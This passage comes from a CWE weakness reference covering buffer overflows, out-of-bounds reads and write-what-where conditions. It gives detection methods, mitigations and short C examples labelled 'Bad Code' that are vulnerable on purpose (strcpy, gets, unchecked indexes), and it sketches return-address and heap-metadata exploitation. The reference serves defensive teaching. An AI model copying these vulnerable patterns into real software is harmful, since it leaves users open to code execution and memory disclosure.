In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode Quality Analysis

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Source Code Quality Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:*Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
```

```
strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example:

Bad Code

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3:

The following example asks a user for an offset into an array to select an item.

C Example:

Bad Code

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example:

Bad Code

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
```

```

// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message
// and return value indicating error
else {
    printf("Value is: %d\n", array[index]);
    value = -1;
}
return value;
}

```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example:*Good Code*

```

...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

```

Example 5:

Windows provides the `_mbs` family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: `_mbsinc` `_mbsdec` `_mbsncat` `_mbsncpy` `_mbsnextc` `_mbsnset` `_mbsrev` `_mbsset` `_mbsstr` `_mbstok` `_mbccpy` `_mbslen`

Observed Examples

Reference	Description
CVE-2003-0542	buffer overflow involving a regular expression with a large number of captures
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information
CVE-2009-0191	chain: malformed input causes dereference of uninitialized memory
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
CVE-2009-0558	attacker-controlled array index leads to code execution
CVE-2009-0566	chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
CVE-2009-0689	large precision value in a format string triggers overflow
CVE-2009-0690	negative offset value leads to out-of-bounds read
CVE-2009-1350	product accepts crafted messages that lead to a dereference of an arbitrary pointer
CVE-2009-1528	chain: lack of synchronization leads to memory corruption
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist
CVE-2017-100012	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).

Potential Mitigations

Requirements**Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Architecture and Design**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation**Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Operation**Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.119.4] [R.119.6] and Position-Independent Executables (PIE) [R.119.10].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation**Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.119.6] [R.119.7].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation**Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120 (Weakness Base)

Status: Incomplete

Description

Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Alternate Terms

buffer overrun

Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer**Terminology Notes**

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- C
- C++
- Assembly

Common Consequences**Integrity****Confidentiality****Availability****Execute unauthorized code or commands**

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability**DoS: crash / exit / restart****DoS: resource consumption (CPU)**

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

C Example:

Bad Code

```
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

C Example:

Bad Code

```
void manipulate_string(char* string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3:

The excerpt below calls the gets() function in C, which is inherently unsafe.

C Example:

Bad Code

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4:

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

C Example:

Bad Code

```
...
struct hostent *clienthp;
char hostname[MAX_LEN];
// create server socket, bind to server address and listen on socket
...
// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {
    int clientlen = sizeof(struct sockaddr_in);
    int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
    if (clientsocket >= 0) {
        clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
        strcpy(hostname, clienthp->h_name);
        logOutput("Accepted client connection from host ", hostname);
        // process client request
        ...
        close(clientsocket);
    }
}
close(serversocket);
...
```

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

Observed Examples

Reference	Description
CVE-1999-0046	buffer overflow in local program using long environment variable
CVE-2000-1094	buffer overflow using command with long argument
CVE-2001-0191	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
CVE-2002-1337	buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
CVE-2003-0595	By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.

Potential Mitigations**Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Architecture and Design**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation**Compilation or Build Hardening****Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that your buffer is as large as you specify.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation**Environment Hardening****Defense in Depth**

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14].

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation**Environment Hardening****Defense in Depth**

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.120.7] [R.120.9].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Build and Compilation**Operation**

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Implementation**Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as `strcpy` with `strncpy`. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Architecture and Design**Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Primary (where the weakness exists independent of other weaknesses)

Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

CWE-121: Stack-based Buffer Overflow

Weakness ID: 121 (*Weakness Variant*)

Status: Draft

Description

Summary

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Alternate Terms

Stack Overflow

"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Integrity

Confidentiality

Availability

Access Control

Execute unauthorized code or commands

Bypass protection mechanism

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Integrity

Confidentiality

Availability

Access Control

Other

Execute unauthorized code or commands

Bypass protection mechanism

Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

C Example:

Bad Code

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
}
```

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:

Bad Code

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Potential Mitigations

Build and Compilation

Compilation or Build Hardening

Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Implementation

Implement and perform bounds checking on input.

Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

Other Notes

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

CWE-122: Heap-based Buffer Overflow

Weakness ID: 122 (*Weakness Variant*)

Status: Draft

Description

Summary

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Integrity

Confidentiality

Availability

Access Control

Execute unauthorized code or commands

Bypass protection mechanism

Modify memory

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

Integrity
Confidentiality
Availability
Access Control
Other

Execute unauthorized code or commands
Bypass protection mechanism
Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

C Example:

Bad Code

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in `argv[1]` will not exceed this size and cause an overflow.

Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example:

Bad Code

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

Implementation

Implement and perform bounds checking on input.

Implementation

Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

CWE-123: Write-what-where Condition

Weakness ID: 123 (*Weakness Base*)

Status: Draft

Description

Summary

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Confidentiality

Availability

Access Control

Modify memory

Execute unauthorized code or commands

Gain privileges / assume identity

DoS: crash / exit / restart

Bypass protection mechanism

Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Integrity

Availability

DoS: crash / exit / restart

Modify memory

Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.

Access Control

Other

Bypass protection mechanism

Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

Likelihood of Exploit

High

Demonstrative Examples

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

C Example:

Bad Code

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

